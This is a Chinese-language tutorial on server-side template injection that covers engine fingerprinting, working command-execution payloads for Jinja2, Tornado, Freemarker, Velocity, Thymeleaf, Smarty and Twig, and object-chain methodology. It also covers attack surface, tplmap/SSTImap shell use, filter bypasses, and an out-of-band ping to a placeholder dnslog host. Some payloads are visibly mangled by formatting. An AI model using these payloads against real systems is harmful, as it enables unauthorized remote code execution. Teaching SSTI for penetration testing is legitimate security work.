web安全-SSTI(服务器模板注入)

1. 核心概念与分类

SSTI的本质是用户输入被作为模板内容直接拼接并渲染。根据结果可分为:

  • 有回显:注入的表达式结果直接显示在页面上。
  • 盲注/无回显:结果不显示,需通过DNS外带、时间延迟等方式判断。
2. 常见模板引擎与测试Payload(关键识别点)

确定模板引擎是第一步 ,可通过报错信息、特定语法或通用测试值(如${7*7}{``{7*7}}<%= 7*7 %>)的反应来判断。

|------------|--------------------|----------------------------------------------------------------------------------------------------------|
| 语言 | 模板引擎 | 典型Payload / 特征 |
| Python | Jinja2 (Flask) | {``{7*7}} -> 49;{``{config}} 可泄露配置。 |
| | Tornado | {``{7*7}}{% import os %}{``{os.system('whoami')}} |
| | Django | {``{7*7}} -> 77(字符串拼接);{``{settings.SECRET_KEY}} |
| Ruby | ERB | <%= 7*7 %><%= system('ls') %> |
| Java | Freemarker | ${7*7}<#assign ex="freemarker.template.utility.Execute"?new()> ${ex("ls")} |
| | Velocity | #set($x=7*7)$x#set($e=$class.inspect("java.lang.Runtime").getRuntime().exec('whoami')) |
| | Thymeleaf | ${7*7}${T(java.lang.Runtime).getRuntime().exec('calc')}(需看版本) |
| PHP | Smarty | {$7*7}{php}echo id;{/php}(旧版) |
| | Twig | {``{7*7}}{``{_self.env.registerUndefinedFilterCallback("exec")}}{``{_self.env.getFilter("whoami")}} |

3. 通用利用思路(构造Payload的方法论)
  1. 探寻基类 :找到当前上下文可用的对象,向上追溯其基类,最终找到所有类的根类(如Java的 Object,Python的 object
  2. 寻找危险子类 :从根类向下,寻找可用的危险子类或方法 (如可以执行命令的Runtimeos,可以读文件的File,可以进行JNDI注入的InitialContext等)。
  3. 实例化与调用:通过模板引擎的语法实例化该类并调用其方法。
  • Python (Jinja2) 经典链

    找到object:''.class.mro[2]

    找子类:''.class.mro[2].subclasses()

    找可执行命令的类(如warnings.catch_warnings,其__init__方法有__builtins__

    {{''.class.mro[2].subclasses()40.communicate()}}

  • Java (Freemarker) 经典链

    // 直接利用内建函数执行命令
    <#assign ex="freemarker.template.utility.Execute"?new()> {ex("id")} // 或利用Runtime {"".getClass().forName("java.lang.Runtime").getRuntime().exec("id")}

4. 攻击面挖掘(黑盒功能点)

渗透测试中应重点关注以下可能使用模板的功能点:

  • 用户资料/页面个性化 :如用户名、昵称、签名档的显示。尝试填入{``{7*7}},看个人主页是否解析。
  • 博客/论坛帖子:评论、文章内容支持富文本或特定标记语言时。
  • 错误页面:某些框架允许自定义错误页,错误页内容若包含用户输入(如URL路径),可能导致SSTI。
  • 邮件内容:系统发送的邮件内容由模板生成,且部分内容用户可控(如找回密码链接中的用户名)。
  • 密码重置功能:重置链接中的Token参数若被模板解析。
  • 模板编辑功能:后台允许编辑模板文件(高危功能)。
5. 工具使用建议
  • Tplmap:经典工具,支持多种引擎的自动化检测与利用。
  • SSTImap:更活跃的fork,支持更多引擎和绕过技术。
  • 使用场景
    • 检测阶段 :用工具的-u--data参数快速探测所有已知引擎。
    • 利用阶段 :工具成功识别引擎后,可使用--os-shell尝试获取交互式shell。
    • 注意:工具并非万能,复杂环境或WAF绕过仍需手工调整。
6. 实战注意事项与技巧
  • 报错是金 :故意输入错误语法(如{``{7*'7'}}),从详细报错信息中获取模板引擎类型、框架版本甚至部分代码路径。
  • 盲注与带外 :无回显时,可尝试执行pingcurldnslog等带外通道命令。
    • Python示例:{``{''.__class__.__mro__[2].__subclasses__()[40]('ping your.dnslog.cn', shell=True)}}
  • 绕过过滤
    • 拼接'c'+'at'"c"~"at"(不同语言语法)
    • 编码:使用Unicode、Hex绕过关键字过滤。
    • 利用环境变量$PATH等。
    • 利用模板引擎特性 :如Jinja2的|attr()过滤器绕过点号过滤。
  • 权限与语言:确认后端语言和框架后,针对性地构建利用链。Java SSTI(如Freemarker)常能直接RCE,Python SSTI(如Jinja2)则需要更复杂的对象链寻找。

💡 总结

SSTI的核心是将用户输入与模板渲染代码混淆。挖掘时,要对任何可能被"二次处理"和"格式化"的用户输入保持敏感。利用时,需遵循"基类→子类→危险方法"的思路,结合有回显/无回显手法,并善用工具辅助识别。在复杂的Java框架中,SSTI常与表达式注入(如SpEL)结合,形成新的攻击面。

相关推荐
Bruce_Liuxiaowei32 分钟前
基于微步在线威胁情报的公网 IP 攻击迹象监测:threatbook_query 脚本全解析与 BruceSec 平台整合实践
数据库·tcp/ip·安全·网络安全·智能体
weixin_4462608543 分钟前
AVA-Encoder:面向智能体原生视频表征学习框架
学习·音视频
DeviceHub1 小时前
硬件工程师选型笔记:ALPS SKPMAPE010 与 Tonevee TS-3025 贴片轻触开关 PIN TO PIN 评估指南
笔记
吃好睡好便好1 小时前
说说口罩的佩戴
学习·生活·口罩
fīɡЙtīиɡ ℡2 小时前
大模型结构化输出
人工智能·学习
疯狂打码的少年2 小时前
【数据结构】二叉树的性质(五大性质+计算)
数据结构·笔记·算法
Dave1205462 小时前
Day17:Agent Memory高级设计——短期记忆、长期记忆与向量语义记忆
人工智能·学习
小唔w2 小时前
2026年AI培训行业观察:主流学习渠道一览
人工智能·学习
Capricorn19883 小时前
知芽研究问题看板无法推进?从孵化区到笔记的机制排查指南
大数据·论文阅读·人工智能·笔记·学习方法·论文笔记
闪闪发亮的小星星3 小时前
相机脱靶量VS精跟踪精度
笔记